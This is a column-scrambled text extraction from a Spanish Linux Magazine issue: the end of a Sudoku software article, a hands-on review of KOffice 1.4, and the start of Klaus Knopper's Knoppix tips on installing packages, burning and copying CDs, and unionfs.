bio, no se contenta con proporcionar una

solución hecha. Explica el camino hacia

la solución del rompecabezas dado. Este

último programa lee el Sudoku a través

de su propio formato ASCII. En este for-

mato tenéis que introducir Sudokus ya

existentes.

Los fervientes admiradores de Gnome,

encontrarán en Gnome-Sudoku, a pesar

de sus escasos defectos, un programa ade-

cuado para pasar el rato. Sin embargo, la

versión KDE, Ksudoku, es, en la mayoría

de los puntos, superior a su equivalente

de Gnome. Primero por la útil y grata colo-

ración de las líneas y columnas, y, segun-

do, por su ayuda para solucionar rompe-

cabezas Sudoku. Quien quiera solucionar

Sudokus en el ordenador, debería por lo

menos echar un vistazo a Ksudoku .�

Sudoku de Gnome. Por ejemplo, colorea

la línea, la columna y la subcuadrícula,

que pertenecen a la casilla donde se

encuentra el cursor del ratón.

Hay dos maneras para colocar una

cifra en una casilla: o bien seleccionar en

la barra vertical de herramientas un

número y luego pulsar con el botón

izquierdo del ratón sobre una casilla, o

bien pulsar la tecla de la cifra correspon-

diente en el teclado. Si se equivoca en el

número, el programa colorea la cifra en

rojo. Con el botón derecho del ratón se

elimina de nuevo el número introducido.

Como función práctica, Ksudoku per-

mite también tomar apuntes sobre posi-

bles candidatos para un campo. Para ello

se elige un número a través del menú o

del teclado y se pulsa el botón derecho

del ratón. Entonces Ksudoku escribe el

candidato en letra pequeña en el campo.

En principio es posible cualquier canti-

dad de notas, pero el programa, por el

tamño de cada cuadricula, solamente

puede mostrar cuatro de los números en

la parte superior del cuadro.

AyudaCon un click en Hint, Ksudoku rellena

simplemente la casilla actual. La tecla

Shift presta una ayuda más sutil. Con

shift, Ksudoku muestra todos los campos

donde encaja la misma cifra como el de

la casilla actual (Figura 3). Esta es natu-

ralmente una considerable ayuda com-

PORTADA • Sudoku

32 Número 13 W W W . L I N U X - M A G A Z I N E . E S

[1] Sudoku en la feria de juegos: http://

www.reich-der-spiele.de/specials/

Essen2005-Sudoku.php

[2] Matemáticas Sudoku: http://web.inf.

tu-dresden.de/~bf3/sudoku/

[3] Wikipedia sobre Sudoku: http://en.

wikipedia.org/wiki/Sudoku

[4] Rompecabezas Sudoku en el “Correo

Digital”: http://sudoku.elcorreodigital.

com/

[5] Gnome-Sudoku: http://

gnome-sudoku.sourceforge.net

[6] Ksudoku: http://ksudoku.sourceforge.

net

[7] Sudoku-Solver: http://www.katletz.at/

katsudoku

[8] Sudoku-Explainer: http://sourceforge.

net/projects/sudoku-sensei

RECURSOS

Figura 5: Un Sudoku de resolución sencilla (a la izquierda) y otro de mayor dificultad (derecha). ¡Intenta resolverlos!

Page 33: Linux Magazine - Edición en Castellano, Nº 13

KOffice 1.4 • PRÁCTICO

33Número 13W W W . L I N U X - M A G A Z I N E . E S 33

Si somos usuarios de Linux que

necesitamos intercambiar datos

con Word y Excel, puede que no

tengamos mejor alternativa que

OpenOffice. Pero si fundamentalmente

creamos documentos para nuestro propio

uso, el nuevo paquete ofimático KOffice

merece ser tenido en cuenta. KOffice es

rápido y estable, y dispone de algunas

características que no encontraremos en

otros entornos ofimáticos.

Componentes de la FamiliaAdemás del procesador de textos KWord,

la hoja de cálculo KSpread y el software

de presentaciones KPresenter, KOffice

comprende otros programas como:

*Kivio, un generador de diagramas

*Karbon14, un programa de diseño

vectorial

*Kugar, un generador de reportes

*KChart, una herramienta de diseño de

gráficos

*KFormula, un editor de fórmulas

Un veloz paquete ofimático para el escritorio KDE

UNA AYUDA EN LA OFICINA

La última versión del paquete ofimático KOffice viene cargada de novedades, incluyendo más aplica-

ciones. En este artículo veremos lo que hemos encontrado en el test realizado a KOffice 1.4.

POR MARCEL HILZINGER

Page 34: Linux Magazine - Edición en Castellano, Nº 13

Son novedad en la versión 1.4 el pro-

grama de base de datos Kexi y la herra-

mienta de manipulación de imágenes

Krita. En total, este paquete ofimático

para KDE incluye al menos diez compo-

nentes (véase la Tabla 1).

Cambios NotablesLa última versión de KOffice incluye

soporte mejorado para el formato de

documentos Open-Document de OASIS.

Se trata de una extensión del formato de

documento XML de OpenOffice.org. Así

mismo, supone la base de los documen-

tos de OpenOffice 2.0. Los archivos crea-

dos con el nuevo KOffice son por tanto

altamente compatibles con los archivos

de OpenOffice 2.0. Por ejemplo KWord

puede leer documentos creados con

OpenOffice 2.0 beta que se incluye en

Suse Linux 9.3. Si guardamos documen-

tos en formato OpenDocument con

KWord o KSpread, la versión de

OpenOffice incluida con Suse 9.3 debe-

ría, teóricamente, ser capaz de abrirlos.

En realidad existen algunos obstáculos

importantes que

impiden que el

intercambio

entre KOffice y

OpenOffice sea

perfecto. Por

ejemplo, aunque

no hemos encon-

trado problemas

importando o

exportando

archivos simples

con texto, el

resultado solía

ser malo si el

archivo incluía

imágenes o dia-

gramas. El proce-

sador de textos

importa las tablas como texto. Y no fui-

mos capaces de guardar una hoja de cál-

culo con diagramas creados con KSpread

en formato OpenDocument. Dicho lo

cual, OpenDocument no será el formato

por defecto hasta el próximo

lanzamiento. La versión 1.4

utiliza los formatos propieta-

rios de KOffice.

Un archivo OpenDocument

es un archivo ZIP que puede

ser descomprimido en línea de

comandos con unzip nombre-

archivo o con la utilidad con

interfaz gráfica ark. El archivo

en sí mismo comprende varios

archivos XML, una miniatura

en formato PNG y posiblemen-

te unos cuantos archivos mul-

timedia, suponiendo que el

documento tenga elementos

multimedia. La Tabla 2 muestra un ejem-

plo típico de un archivo de texto

OpenDocument.

Una de las novedades de KOffice es

que ahora sus aplicaciones tienen varios

modos de vista. Esto permite al usuario

ver diferentes partes de un documento al

mismo tiempo. El programa, bien abre

una nueva vista dentro del documento

actual o bien en una nueva ventana del

programa. La ventana puede ajustarse en

vertical o en horizontal. En teoría, estas

vistas pueden ajustarse de nuevo, pero

esto va en contra de un uso adecuado del

programa. Podemos verificar el menú

View para ver estas características.

Interesante KWordCada vez que ejecutamos una aplicación

de KOffice, lo primero que aparece en la

ventana es un cuadro de diálogo de un

explorador de archivos. Podemos elegir

entre crear un nuevo documento basado

en una plantilla existente, o editar un

documento ya creado o recientemente

editado (véase Figura 1). KWord guarda

las plantillas que ofrece al usuario en

/opt/kde3/share/apps/kword/templates.

Si preferimos no ver esta ventana en lo

sucesivo, podemos activar Always start

KWord with the selected template y pulsar

OK. Esto le indica al programa que arran-

que con un documento de texto vacío. La

versión 1.4 permite personalizar los ico-

nos de varias plantillas.

La mayor ventaja que presenta KWord

frente a OpenOffice es la velocidad.

Mientras que OpenOffice tarda unos

segundos en arrancar, incluso con el

hardware más reciente, KWord arranca

velozmente incluso en ordenadores anti-

guos. Dicho esto, el tamaño de la letra

por defecto de 8 puntos es demasiado

pequeño para la mayoría de los usuarios.

Para cambiarlo a un tamaño más fácil de

leer, como 12 puntos, seleccionamos

Format | Style Manager. En el cuadro de

diálogo que aparece, pulsamos sobre Font

PRÁCTICO • KOffice 1.4

34 Número 13 W W W . L I N U X - M A G A Z I N E . E S

Figura 1: Al lanzar una aplicación de KOffice, aparece una ventana con

los principales tipos de documentos.

Figura 2: Ojo al detalle: por defecto en las listas numera-

das no se inserta un punto después del número.

Programa Comando Tipo de programa

KWord kword Procesador de textos

Kspread kspread Hoja de cálculo

KPresenter kpresenter Presentaciones

Kivio kivio Diagramas de flujo

Karbon14 karbon Diseño vectorial

Krita krita Manipulación de imágenes

Kugar kugar Generador de reportes

Kexi kexi Front-end de bases de datos

KChart kchart Diseño de gráficos

KFormula kformula Editor de fórmulas

Tabla 1: Miembros de la Familia

Page 35: Linux Magazine - Edición en Castellano, Nº 13

KWord la aplicará a nuestra

selección. Aunque esto evita

tener que acceder al menú

para cambiar entre los estilos

de numeración o tipo de viñe-

tas, no es demasiado práctico,

ya que es raro que el usuario

esté cambiando continuamen-

te de estilo dentro de un

mismo documento.

Los principiantes en

KOffice suelen tropezar con

otra funcionalidad de enume-

ración de éste. Si selecciona-

mos una lista numerada y

luego elegimos Arabic num-

bers en la lista desplegable,

KWord no añade un punto

después del número (véase Figura 2).

Para cambiar esta configuración, selec-

cionamos Format | Paragraph, pestaña

Bullets/Numbers, y tecleamos un punto

en el cuadro Suffix text.

En el lado positivo, el modo de viñetas

de KWord es muy flexible. Por ejemplo,

podemos usar cualquier carácter que eli-

jamos para las viñetas y podemos añadir

caracteres como prefijos.

Configurando los SinónimosKOffice tiene un diccionario de sinóni-

mos, en idioma inglés, por defecto (están

disponibles descargas para otros idio-

mas). Para usar el diccionario de sinóni-

mos, pulsamos con el botón derecho

sobre una palabra en un documento de

KWord y seleccionamos Show related

words en el menú desplegable. Esto hace

aparecer el cuadro de sinónimos. Si lo

preferimos, podemos usar el menú Tools |

Show related words en su lugar.

Combinación con el CorreoLos desarrolladores de KOffice presentan

dos métodos para las tareas de combina-

ción de correspondencia. Podemos, bien

ayudarnos de una base de datos externa

como fuente de los datos, o bien pode-

mos introducir los datos directamente

usando el editor de combinación de

correo, que se puede configurar seleccio-

nando Tools | Configure mail merge.

Si optamos por una base de datos exis-

tente, KOffice nos permite elegir entre

una hoja de cálculo de KOffice, la libreta

de direcciones de KDE o una fuente de

datos SQL. En el momento de escribir

estas líneas, no parecía haber manera de

usar la base de datos Kexi como fuente

de datos. Al contrario que en versiones

anteriores de KOffice, sólo la hoja de cál-

culo de KOffice y el almacenamiento

interno funcionaban como fuente de

datos. El programa se negaba a aceptar

otras fuentes.

Para guardar las direcciones en un

documento de KWord, seleccionamos

Create new... en el cuadro de diálogo

Mail merge configuration, y pulsamos OK

en la ventana que aparece. Esto arranca

el editor de combinación de correspon-

dencia de KWord. En el editor, pulsamos

en el símbolo Add entry y tecleamos un

nombre para el campo, Título, por ejem-

plo. Repetimos estos pasos para otros

campos que necesitemos, como

Apellidos, Nombre, Calle, CP y Ciudad.

El cuadro debe ser algo parecido a lo

mostrado en la Figura 3. Después de pul-

sar sobre No Value, podremos rellenar el

primer registro. Para añadir más regis-

tros, pulsamos sobre Add record.

Después de agregar tantos registros

como queramos, pulsamos el botón OK.

Podemos ahora añadir los campos a

nuestro documento seleccionando Insert

| Variable | Mail merge.

Desafortunadamente, la ventana se cierra

cada vez que hacemos una selección y

tendremos que repetir estos pasos varias

veces.

Si ya tenemos un documento con las

direcciones, podemos seleccionar la hoja

y seleccionamos el nuevo tamaño de la

letra.

Viñetas y Números.El uso del procesador de textos no debe-

ría suponer un reto para la mayoría de la

gente, salvo por una o dos pequeñas

excepciones. Tomemos las viñetas y listas

numeradas, por ejemplo. Mientras que la

mayoría de los programas ofimáticos per-

miten al usuario seleccionar un fragmen-

to del texto y pulsar a continuación en el

símbolo de enumeración, KWord muestra

una lista desplegable al hacer esto.

Podemos entonces seleccionar el tipo de

numeración o viñeta que necesitemos y

35Número 13W W W . L I N U X - M A G A Z I N E . E S

KOffice 1.4 • PRÁCTICO

Figura 3: Podemos usar el editor de combinación de

correspondencia para envíos rápidos y masivos. Word

guarda los registros con las direcciones en el documento.

Figura 4: El generador de reportes Kugar permite crear diseños, pero el programa es muy poco

manejable a la hora de generar reportes.

Page 36: Linux Magazine - Edición en Castellano, Nº 13

apreciamos en las pruebas realizadas fue

que, al contrario que con OpenOffice 2.0,

KPresenter puede exportar las diapositi-

vas en formato Sony Memory Stick, per-

mitiendo al usuario realizar presentacio-

nes sin ni siquiera necesitar un PC. El

programa de KDE tiene la ventaja de

soportar formato de pantalla de 16:9.

Escala automáticamente las diapositivas

para ajustarse a la pantalla, mientras que

Impress deja bordes negros. Lo que los

desarrolladores deberían añadir definiti-

vamente a KPresenter es la funcionalidad

de imprimir folletos.

Kugar y KexiLos tres componentes principales,

KWord, KSpread y KPresenter son todo lo

que la mayoría de la gente necesita para

llevar a cabo cualquier trabajo típico de

oficina. Pero KOffice tiene más progra-

mas que ofrecer. Algunos de estos progra-

mas resultaron ser auténticas joyas en

nuestras pruebas, mientras que otros nos

dejaron preguntándonos qué demonios

hacer con ellas. Kugar pertenece a esta

última categoría. El programa teórica-

mente sirve para generar reportes, pero

trabajar con él se volvió tan complicado

que hasta los usuarios experimentados

en KDE necesitarán consultar la docu-

mentación para

conseguir hacer

algo.

Para ejecutar el

programa pulsa-

mos [Alt+F2] y

tecleamos kugar.

Esto muestra un

explorador de

archivos con el

que podemos

seleccionar un

archivo Kugar o

datos Kugar. Si

no tenemos un

reporte previa-

mente creado, no

podremos lanzar

el programa. La

solución que encontramos es el comando

kudesigner, que lanza el diseñador de

reportes de Kugar. Ahora podemos usar

el diseñador para crear un diseño para

nuestro reporte. El programa de KOffice

guarda el diseño en un archivo separado

con extensión *.kut.

Hasta este momento todo bien, pero el

diseñador de reportes no permite que le

especifiquemos una fuente de datos

(véase Figura 4). De acuerdo con la docu-

mentación, el usuario debe compilar la

fuente de datos de manera manual en

forma de archivo XML y guardar el resul-

tado en un archivo con extensión *.kud.

Si hemos llegado hasta este paso, pode-

mos teclear el comando kugar layout.kut

data.kud para cargar el reporte. Esto ni es

amigable ni práctico. ¿Por qué no permi-

ten los desarrolladores especificar una

tabla de KSpread o una base de datos de

Kexi como fuente de los datos?

Dificultades inicialesEl nuevo front-end de base de datos Kexi

está repleto de problemas de juventud.

De los métodos de almacenamiento que

ofrece el programa, Project in file y Project

on database server, sólo el primero fun-

ciona en realidad. Si seleccionamos un

proyecto de base de datos basado en ser-

vidor, aparece el cuadro para seleccionar

los conectores MySQL y PostgreSQL, pero

en realidad no podemos usarlos. Kexi

continúa mostrando un mensaje de error

(véase Figura 5). Incluso después de

haber editado el archivo de conector (hay

un ejemplo en el código fuente en el

directorio kexi/tests/startup) y de haber

lanzado la aplicación con kexi

de cálculo de KOffice como fuente de

datos. Sólo necesitaremos una pequeña

hoja de cálculo con el nombre de los

campos en la primera línea y los datos en

las siguientes líneas. Buscamos Tools |

Configure mail merge | Open existing y

seleccionamos la hoja de cálculo de

KSpread como fuente de datos.

Hojas de Cálculo yPresentacionesKSpread sale bien parado en compara-

ción con su homólogo de OpenOffice.

Aunque la aplicación de KOffice puede

no ser tan rica en funcionalidades como

Calc, tiene más que suficiente para la

mayoría de las aplicaciones. Además, hay

tres cosas que KSpread hace mucho

mejor que la hoja de cálculo de

OpenOffice. Cuando seleccionamos una

celda, KSpread no usa el color negro sino

un azul claro. También usa el azul claro

para destacar las cabeceras de las colum-

nas y líneas nuevas, además de etiquetar

las celdas que contienen fórmulas o fun-

ciones con un triángulo azul en la esqui-

na inferior izquierda.

Otra característica que muchos usua-

rios echarán de menos después de traba-

jar con KSpread es la herramienta para

autoajustar el ancho de las columnas.

Mientras que Calc de OpenOffice requiere

que hagamos un pequeño tour por los

menús, KSpread hace el auto-ajuste sim-

plemente con hacer doble clic en la cabe-

cera de la columna. Por último, la hoja de

cálculo de KDE también soporta la crea-

ción de series arbitrarias. Para ello, selec-

cionamos Insert | Series y tecleamos los

valores inicial, final y el paso. KSpread

puede crear tanto series lógicas (2,4,6,8),

como geométricas (2,4,8,16).

No hay demasiado que contar acerca

de KPresenter. Aunque obviamente, com-

parado con Impress de OpenOffice fla-

quea en términos de funcionalidad, sin

embargo, las características disponibles

son las que la mayoría de las personas

pueden necesitar para crear atractivas

presentaciones. Un aspecto positivo que

PRÁCTICO • KOffice 1.4

36 Número 13 W W W . L I N U X - M A G A Z I N E . E S

Figura 6: Pulsar para seleccionar la fecha debería ser algo sencillo. No

ocurre esto con Kexi, debido a los valores que sugiere.

Figura 5: Problemas de juventud con los accesos a base de datos de Kexi.

Page 37: Linux Magazine - Edición en Castellano, Nº 13

testdb.kexis, Kexi fue incapaz de estable-

cer una conexión con el servidor MySQL.

El programa conseguía crear al menos

un archivo local de base de datos. Con

Create | Table le indicamos a Kexi que

cree una nueva tabla. El programa sopor-

ta Text, Integer number, Floating point

number, Yes/No y Date/Time. Pero, sin

embargo, está plagado de bugs. Se nece-

sita una clave primaria para cada tabla.

Kexi no puede editar los datos si no exis-

te. Los campos de fecha/hora no se pue-

den utilizar en esta versión: sólo se

puede usar el campo de fecha, no es posi-

ble registrar entradas con la hora. Dicho

esto, no hay manera de introducir la

fecha de manera manual: el usuario está

obligado a pulsar en el botón adecuado

de KDE. Y Kexi hace todo tipo de extra-

ñas sugerencias para la fecha (véase

Figura 6).

Por último, el editor de formularios es

poco práctico. Aunque el usuario pueda

crear magníficos formularios con unos

pocos clics de ratón, no tiene manera de

especificar la fuente de datos para los

campos individualmente, dejando como

única salida la introducción de los datos

por uno mismo. Por contra, el editor de

consultas es bastante útil.

Ni Kugar ni Kexi están realmente inte-

grados en KOffice: KWord usa su propio

formato de base de datos, y es imposible

crear reportes o formularios usando algu-

no de los tres componentes principales

de KOffice. Además de esto, el entorno

integrado de KOffice, que podemos lan-

zar tecleando el comando koshell, no

añade nada de valor. En la parte positiva,

los programas de dibujo Krita y

Karbon14, junto con la herramienta de

diagramas KChart, ofrecen una impresión

mucho mejor. Kivio es otro componente

bastante maduro de KOffice.

Krita y Karbon14Krita supone la presentación de un progra-

ma de manipulación de imágenes para

KOffice versión 1.4 (véase Figura 7). Si

alguna vez hemos tenido dificultades para

desenvolvernos con GIMP, debido a su

peculiar interfaz, deberíamos echarle un

vistazo a este programa de KDE. Su abani-

co de funcionalidades es comparable a

GIMP, pero su interfaz es mucho más ami-

gable para los novatos, los cuales termina-

rán prefiriéndolo. El programa de KDE le

toma prestado a GIMP su selección de

plantillas, gradientes y pinceles. Krita

puede abrir archivos de GIMP y soporta

capas. El uso de la aplicación es un proce-

KOffice 1.4 • PRÁCTICO

37Número 13W W W . L I N U X - M A G A Z I N E . E S

Figura 7: La herramienta de manipulación de imágenes Krita es una de las estrellas del nuevo paquete KOffice.

Archivo Función

content.xml Archivo XML con el contenido propiamente del archivo. KOffice

puede abrir los archivos XML directamente.

meta.xml Detalles del autor, compañía y email del autor, así como información

del programa utilizado para la creación del documento.

settings.xml Información de estado del documento, como modo de visualización,

último cambio y última impresión.

styles.xml Estilos, como encabezamientos, viñetas y listas numeradas.

mimetype El tipo de documento, por ejemplo, application/vnd.oasis.opendocu

ment.text para archivos de texto.

META-INF/manifest.xml Detalles de los archivos del fichero ZIP.

Thumbnails/thumbnail.png Vista previa de la primera página en un archivo PNG transparente.

Tabla 2: Contenido de un Archivo de Texto deOpenDocuement

Page 38: Linux Magazine - Edición en Castellano, Nº 13

color del gradiente. Pero si mantenemos

el botón del ratón pulsado en el triángu-

lo, podemos cambiar de color. Para aña-

dir un color nuevo, tendremos que hacer

doble clic en el área mostrada en rojo en

la Figura 9, y luego

seleccionar el nuevo

color. Después de

completar el gra-

diente, podemos

seleccionar Add to

predefined gradients.

Podemos cambiar en

este momento a la

pestaña Predefined y

seleccionar el nuevo

gradiente.

Otro punto critica-

ble que encontramos

en nuestras pruebas

con Karbon14 fue

que las ventanas de herramientas no son

escalables. Krita ha solucionado esto de

manera mucho mejor.

Karbon14 y Krita se integran muy bien

en KOffice. Esto significa que podemos

añadir los dibujos de Krita o Karbon14 a

KWord, KSpread o KPresenter.

KchartSiguiendo el principio de Unix de “una

herramienta para cada tarea”, KChart

es un programa para diseñar gráficos. Y

hace su tarea de una manera convin-

cente y sencilla. Arrancamos el progra-

ma presionando [Alt + F2] y tecleando

kchart. Aparecerá la ventana estándar

de KOffice para abrir o crear archivos.

Seleccionamos Bars y pulsamos OK. Si

tenemos una plantilla para el gráfico,

podemos simplemente seleccionar Edit

| Edit data para cambiar los valores de

las barras.

Detalles como el tipo de gráfico, leyen-

da, colores, tipo de letra y fondo pueden

especificarse en Edit | Chart | Create

chart. KChart también se puede ejecutar

como una aplicación empotrada en

KWord y KSpread.

ConclusionesLa nueva versión de KOffice está en el

buen camino. Los tres componentes

principales, KWord, KSpread y

KPresenter, no aguantan el tipo frente

a OpenOffice en cuanto a importar y

exportar formatos de terceros, pero el

hecho de que KOffice se mueva en la

dirección de adoptar el formato

OpenDocument debería eliminar la

mayor parte de los problemas de com-

patibilidad entre los dos principales

paquetes ofimáticos de Linux. La

denominación de KOffice quizás

podría ser un poco

excesiva: la base de

datos Kexi está muy

verde en cuanto a

su integración y a

años luz de poder

considerarse un

sustituto de Access.

Por otra parte, los

desarrolladores de

KOffice harían bien

en plantearse el

futuro del genera-

dor de reportes

Kugar.

El programa de

dibujo vectorial Karbon14 y el de

manipulación de imágenes Krita están

ambos, en estos momentos, más con-

seguidos que sus homólogos de

OpenOffice. La mayor ventaja de

KOffice puede ser la velocidad así

como el menor tamaño del paquete.

KOffice apenas ocupa unos 25

MBytes, una tamaño que otros paque-

tes ofimáticos sólo pueden soñar en

conseguir. �

so bastante intuitivo, y no sufrimos ni un

solo cuelgue durante nuestras pruebas. La

mala noticia para los profesionales: Krita

sólo soporta modo de color RGB.

KOffice presenta también un completo

programa de dibujo vectorial denomina-

do Karbon14 (Figura 8). Hacernos con él

puede ser complicado, ya que muchas de

las funcionalidades se esconden en ico-

nos que necesitan doble clic. Por ejem-

plo, para añadir texto, primero tendre-

mos que hacer doble clic en el icono T. Se

abrirá un cuadro para introducir el texto.

Por algún extraño motivo, tendremos que

pulsar sobre Cancel para cerrar el cuadro

después de teclear el texto. La línea

donde se sitúa el texto no se hace visible

hasta que hemos hecho esto. Para modifi-

car algún texto que hayamos insertado

previamente, tendremos de nuevo que

hacer doble clic en el icono de texto y

confirmar los cambios pulsando sobre

OK. El método para convertir texto en

curvas es similar.

GradientesPara crear un nuevo gradiente con

Karbon14, de nuevo hacemos doble clic

en el icono. Aparece un cuadro Edit gra-

dient con un triángulo para cada color

bajo el cuadro de gradiente. Si pulsamos

en un triángulo, Karbon14 elimina el

PRÁCTICO • KOffice 1.4

38 Número 13 W W W . L I N U X - M A G A Z I N E . E S

Figura 9: La herramienta de gradiente

de Karbon14 es algo complicada de

encontrar y usar, pero el resultado final

es muy bueno.

Figura 8: El programa de dibujo vectorial Karbon14 ofrece al usuario un mundo para su creati-

vidad. Los desarrolladores tendrán que mejorar aspectos como la paleta.

Page 39: Linux Magazine - Edición en Castellano, Nº 13

Knoppix es un sistema Linux com-

pleto ejecutable desde CD o

DVD. Puede poner su disco

Knoppix en cualquier máquina Intel,

equipo compatible y Knoppix se ejecuta-

rá, independientemente del sistema ope-

rativo que tenga en el disco duro. Pero, a

diferencia de muchas distribuciones

Linux ejecutables desde CD o DVD,

Knoppix no es apreciado sólo como un

sistema de demostración o disco de recu-

peración. Es una distribución Linux real

capaz de muchas de las tareas diarias

que uno esperaría de un sistema Linux

instalado en el disco duro.

Como sabemos, la mayoría de la gente

piensa en una distribución live como una

herramienta para la solución y la recupe-

ración de datos, y Knoppix seguramente

se utiliza para estas tareas, pero además

es capaz de proporcionar determinadas

funcionalidades básicas menos exóticas.

Coloque su disco Knoppix en la uni-

dad CD o DVD y reinícielo. El arranque

del sistema debe ser igual que cualquier

otro sistema Linux. (Ver el cuadro titula-

Técnicas Expertas para Saber más de KnoppixTécnicas Expertas para Saber más de Knoppix

TRUCOSKNOPPIX

39

Knoppix • PRÁCTICO

39Número 13W W W . L I N U X - M A G A Z I N E . E S

nuevos dispositivos USB y tienen en

cuenta los automontadores de los

CDROMs. Pero, ¿es lo mismo?

El hecho de que el sistema operativo

se ejecute desde un medio de sólo lectu-

ra hace más difíciles algunas tareas, aun-

que no tanto como cabría esperar. En

este artículo describiré cómo usar

Knoppix para tareas prácticas como:

• instalar un nuevo programa

• grabar CDs

• escribir en particiones NTFS

Estas técnicas le dan un poder y versati-

lidad que no pueden esperarse de una

distribución en vivo, y una vez que las

haya realizado, podría encontrarse des-

cubriendo nuevas formas de hacer de

Knoppix parte de su día a día con

Linux.

Instalando NuevosProgramasCon Knoppix 3.8 se ha introducido una

nueva característica que hace a Knoppix

más fácil y añade capacidades que pro-

bablemente no esperaría en un sistema

do “Arrancando Knoppix”). Una vez que

lo haya arrancado, Knoppix se ve como

una instalación Debian preconfigurada,

aparte de algunos scripts automáticos

que crean iconos en el Escritorio para

El creador de Knoppix, Klaus Knopper, comparte algunos trucos para usar Knoppix en el mundo real.

POR KLAUS KNOPPER

¿Recuerda el problema con los permisos

erróneos de cdrecord en Knoppix 4.0.1

que mencioné anteriormente? Para evi-

tar sorpresas, debería comprobar que

todas las instancias en /usr/bin/cdre-

cord* son ejecutables por el usuario de

Knoppix (bien, ejecute “cdrecord” en la

shell) y fije los permisos de los progra-

mas en el caso de que no sean correctos,

utilizando:

sudo chmod a+x U

/usr/bin/cdrecord* U

/usr/bin/growisofs

Ahora podríamos grabar con todos los

programas que usen cdrecord (para los

CDs) o growisofs (para los DVDs), como

k3b, que viene integrado en los menús

de KDE.

Permisos de cdrecord

Page 40: Linux Magazine - Edición en Castellano, Nº 13

En las versiones

previas de

Knoppix había

una separación

estricta entre los

datos de sólo lec-

tura y los datos de

lectura-escritura, y

se usaban los

enlaces simbólicos

para ubicar los

ficheros donde

realmente deberí-

an estar en sus

directorios indivi-

duales. Este siste-

ma funcionaba

bien, aunque se

hizo complejo de

mantener a partir

del momento en el que, para cada pro-

grama que se le añadía a Knoppix, había

que averiguar qué ficheros se suponían

que debían ser de lectura-escritura para

copiarlos al ramdisk, dejando un enlace

simbólico en la zona de sólo lectura.

Desde ahora, unionfs se encarga de

copiar los datos modificados al directorio

ramdisk y también permite borrar fiche-

ros en un disco de sólo lectura como un

CD o un DVD, tan sólo se tienen que

añadir los ficheros al sistema tal y como

se haría con una instalación normal en el

disco duro.

Por ello, en teoría, para instalar un

paquete Debian nuevo desde los reposi-

torios de Debian listados en

/etc/apt/sources.list, tan sólo hay que

ejecutar (como root):

apt-get update

apt-get install pingus

De hecho, esto funcionaría en la mayoría

de las versiones de Knoppix sin mayores

problemas. Sin embargo, unionfs está en

una primera etapa de desarrollo, y mien-

tras las operaciones básicas de ficheros,

como la creación, el copiado, el renombra-

do y el borrado funcionan bien en un sis-

tema mixto, hay algunos errores conoci-

dos, y se dan algunos problemas, cuando

se sobrescriben o bloquean ficheros, lo

cual, desafortunadamnete, se realiza muy

a menudo por programas como update-

menus que se ejecutan automáticamente

después de instalarlos. Por ello, no es de

extrañar ver en la salida del comando

dmesg algunos puntos relacionados con

unionfs después de instalar algún software

nuevo o actualización de los ficheros de

configuración, lo que probablemente es

causado por algún error en unionfs.

En el caso de updates-menus, podría

eliminarse dicho comando usando la

característica de unionfs de “borrar un

fichero desde el CD original de sólo lec-

tura” con tan sólo realizar un

diseñado para ejecutarse desde un medio

de sólo lectura: unionfs.

Básicamente, lo que hace unionfs es

“simplificar” la mezcla de directorios.

Por ejemplo, se pueden mezclar un

directorio de sólo lectura (como un CD-

ROM montado) en /KNOPPIX, y un

directorio de lectura-escritura pero vacío,

en un directorio ramdisk, para crear un

directorio de lectura-escritura /UNIONFS

totalmente escribible.

PRÁCTICO • Knoppix

40 Número 13 W W W . L I N U X - M A G A Z I N E . E S

Figura 1: Si no le gusta trabajar desde la línea de comandos, puede

grabar CDs con k3b.

Copiar un CD de datos o un DVD en un

fichero ISO para grabarlo más tarde es

fácil:

cp /dev/cdrom U

/mnt/hda2/copy-of-cd.iso

Para obtener una copia de un CD de

audio no protegido, haría lo siguiente.

Por supuesto, sólo debe decidir si es

consistente con la aplicación de las leyes

de copyright del país donde se encuen-

tre:

cd /mnt/hda2

cdrdao read-cd --device U

/dev/hdc --driver U

generic-mmc-raw --eject U

my-cd.toc

Puede grabar el CD más tarde con:

cdrdao write --device U

/dev/hdc --driver U

generic-mmc-raw --eject U

my-cd.toc

Por supuesto, los usuarios del entorno

gráfico pueden usar el k3b para este pro-

pósito (que llamará a cdrecord/frowi-

sofs). Debe encontrar los botones

correctos y pulsarlos.

Copiar un CD o DVD deDatos para grabar

Cuando se arranca Knoppix, ocurre lo

siguiente:

1. La BIOS de su equipo ejecuta el carga-

dor isolinux desde el CD/DVD, que

muestra algunos gráficos y le permite

obtener ayuda (con F2-F3) o introducir

opciones del núcleo.

2. isolinux carga el kernel de Linux y un

fichero llamado minirt.gz, que contiene

un pequeño ramdisk con todos los con-

troladores necesarios para hacer accesi-

bles a los discos duros y (la mayoría de

SCSI, USB, Firewire) CD-ROMs/DVDs cn

objeto de poder acceder al sistema prin-

cipal de ficheros comprimidos de

Knoppix.

3. El kernel empieza con todos los con-

troladores internos (por ejemplo, IDE,

SATA), descomprime el ramdisk inicial y

empieza el script /linuxrc, que carga más

controladores para SCSI, USB y

Firewire.

4. linuxrc monta el CD/DVD y carga el

módulo de dispositivo de bloques de

descompresión transparente con

/cdrom/KNOPPIX/KNOPPIX como fiche-

ro de entrada (posiblemente otros fiche-

ros contengan más añadidos).

5. linuxrc mezcla el sistema de ficheros

de sólo lectura con el ramdisk dinámico

de lectura-escritura, así que ahora se

puede modificar cualquier fichero en la

sesión.

6. linuxrc finaliza, empieza init y ejecuta

algunos scripts para investigar y hacer

que todos los componentes hardware

estén disponibles para el sistema (/etc/

init.d/knoppix-autoconfig).

7. La utilidad hwsetup basada en libkud-

zu carga los controladores correspon-

dientes a cualquier hardware encontra-

do y genera un fichero de información

de hardware que se usa por mkxf86con-

fig para crear el fichero de configuración

del servidor X.

8. Empieza KDE.

Arrancando Knoppix

Page 41: Linux Magazine - Edición en Castellano, Nº 13

sudo rm -f U

/usr/bin/update-menus

que tendrá el efecto lateral (en este caso

deseado) de no volver a actualizar más

los menús KDE.

Se pueden eliminar algunos errores

pequeños (como la omisión de dar per-

misos de ejecución en Knoppix 4.0.1 a

cdrecord) sin la necesidad de tener que

grabar otro DVD con sólo modificar el

sistema unificado con

sudo chmod 755 U

/usr/bin/cdrecord*

Incluso hace que nos olvidemos de que

estamos trabajando sin un disco duro

cuando estamos ejecutando el sistema

desde el CD.

Para las descargas largas y lentas de

programas y su posterior instalación, la

característica de imagen persistente de

Knoppix es adecuada. La característica

de imagen persistente realiza lo mismo

que hace el ramdisk, usando la imagen

ext2 del disco duro en vez del ramdisk, y

además crea una imagen persistente de

los cambios hechos en el sistema de CD

o DVD.

Se puede crear esta imagen persisten-

